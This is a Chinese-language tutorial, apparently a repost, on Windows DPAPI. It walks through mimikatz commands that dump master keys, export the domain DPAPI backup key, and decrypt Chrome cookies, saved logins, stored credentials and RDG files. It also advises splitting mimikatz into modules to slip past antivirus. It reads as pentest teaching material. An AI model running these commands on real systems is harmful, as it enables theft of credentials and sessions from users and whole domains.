Mimikatz之DPAPI学习与实践

栏目: 编程工具 · 发布时间: 6年前

内容简介:​ 本文就讲解下Windows下的DPAPI,并且利用mimikatz来解密那些由DPAPI加密的文件。本文使用mimikatz版本2.1.1-20180820,Chrome 版本68.0.3440.106 (Official Build) (64-bit)。​ DPAPI 英文全称:Data Protection API ,顾名思义就是用来保护数据的接口。这个接口在windows中大量的使用来加密数据,比如chrome的cookies和login data。

Mimikatz之DPAPI学习与实践

0x00 前言

​ 本文就讲解下Windows下的DPAPI,并且利用mimikatz来解密那些由DPAPI加密的文件。本文使用mimikatz版本2.1.1-20180820,Chrome 版本68.0.3440.106 (Official Build) (64-bit)。

0x01 什么是DPAPI

​ DPAPI 英文全称:Data Protection API ,顾名思义就是用来保护数据的接口。这个接口在windows中大量的使用来加密数据,比如chrome的cookies和login data。

​ 更多的详情可以看 这篇文章 。 在这里我大致的把这篇文章总结下也是更加详细的介绍DPAPI:

​ 1.DPAPI 使用了叫做 Master Key 的东西,用来解密和加密。 Master Key 并不会存在在磁盘上,是通过用户的密码HASH加密生成。

​ 2. Master Key 的第一种实现方式用用户NTLM Hash来加密。由于NTLM Hash在Windows中有着各种重要的作用,而且NTLM Hash是存储在SAM文件中,只要攻击者获取到Hash就可以用来生成 Master Key 来解密数据了。所以为了防止这样的事,就有了第二种:直接用用户密码生成,函数: SHA‑1(UTF16LE(user_password))

就算攻击者获取到NTLM,如果不能解密出用户的密码不能生成 Master Key

​ 3.文章中还提到了 ARSOTBAL 。ARSO 英文全称:Automatic Restart Sign-On 。TBAL 文中作者猜测AL是Auto Logon,不清楚TB什么意思。但是评论中有个猜测是Trusted Boot Auto Logon。都是在WIndows 8和Windows 10中才添加的新特性,就是保存了用户会话,恢复到重启之前的状态,也就是在重启之前密码都保存在磁盘中,具体可以看看文章的详细说明。

​ 4.视频演示了整个过程,关闭虚拟机,通过挂载磁盘的方式,来读取security与system文件获取TBAL中保存的SHA1 HASH,之后通过这个HASH与用户的GUID就可以解密得到 Master Key 。其中也有这样一句话: but if it were a real computer, imagine physically connecting the HDD to your machine. 所以~~

微软 官方文章 更加详细介绍了生成 Master key 与加密 Master Key ,及怎么备份。而上面第四步就是解密,我这里利用一个在线 工具 演示下生成 Matser key

Mimikatz之DPAPI学习与实践

0x02 DPAPI的利用

1.Chrome Cookies/Login Data

本地用户登录时,解密Cookies:

dpapi::chrome /in:"%localappdata%GoogleChromeUser DataDefaultCookies" /unprotect

Mimikatz之DPAPI学习与实践

如果通过某些方式从其它电脑获取到cookie到本地:

先执行上面这条命令看看,会报错:

Mimikatz之DPAPI学习与实践

提示需要GUID {219d25e6-27f5-4754-8bcb-2aa77df53b68} 这个用户的 Master key 才能解密,所以在你拿回这个cookie文件时,要把那个机器的masterkey导出一下,两个命令 privilege::debug sekurlsa::dpapi

Mimikatz之DPAPI学习与实践

接下来就 dpapi::chrome /in:"c:tempCookies" /masterkey:上图的masterkey值 /unprotect

Mimikatz之DPAPI学习与实践

而如果是域用户的话,是由域用户的master key就是由域的DPAPI key来保护的, lsadump::backupkeys /system:DC CONTROLLER /export 会得到一个PVK文件,可以用来解密所有域用户的Master Key,而且这个key是不会改变的。 dpapi::masterkey /in:"C:UsersxxxxxAppDataRoamingMicrosoftProtectsid值ca748af3–8b95–40ae-8134-cb9534762688" /pvk:导出的PVK文件 这里就可以解密得到域用户的Master Key值。然后跟上面一样 dpapi::chrome /in:Cookies /masterkey:a3fv34aedd7... ,这样就能解密Cookies的内容了。

导出pvk:

Mimikatz之DPAPI学习与实践

利用PVK解密得到masterkey值,后面一样解密就是了:

Mimikatz之DPAPI学习与实践

解密保存的密码跟上面类似,把传入文件改成login data:

Mimikatz之DPAPI学习与实践

2.Rdg 文件

最新release版本添加了解密rdg的功能,windows中 C:WindowsSystem32configsystemprofileAppDataLocalMicrosoftCredentialsxxx 中保存的信息与WIFI密码的保存都是利用了DPAPI来加密:

Mimikatz之DPAPI学习与实践

先向DC进行RPC查询出key,利用key, dpapi::cred /in:C:UsersxxAppDataLocalMicrosoftCredentialsxxxxx /unprotect /masterkey:X 解密Credentials下保存的凭据:

Mimikatz之DPAPI学习与实践

0X03 总结

现在mimikatz功能越来越多,并不是所有功能都会在当时的渗透环境中使用,其实大家完全可以把其中每个模块单独分出来用,这样体积可以减少,而且还可以过下静态查杀。windows下还有很多接口是MSDN中没有文档或者很少文档的,很多大佬应该都FUZZ出来一些了。可以看看这位 BLOG 经常有windows的一些TRICKS。


以上就是本文的全部内容,希望对大家的学习有所帮助,也希望大家多多支持 码农网

查看所有标签

猜你喜欢:

本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们

Discrete Mathematics and Its Applications

Discrete Mathematics and Its Applications

Kenneth H Rosen / McGraw-Hill Science/Engineering/Math / 2003-04-22 / USD 132.81

Discrete Mathematics and its Applications is a focused introduction to the primary themes in a discrete mathematics course, as introduced through extensive applications, expansive discussion, and deta......一起来看看 《Discrete Mathematics and Its Applications》 这本书的介绍吧!

XML、JSON 在线转换
XML、JSON 在线转换

在线XML、JSON转换工具

UNIX 时间戳转换
UNIX 时间戳转换

UNIX 时间戳转换

正则表达式在线测试
正则表达式在线测试

正则表达式在线测试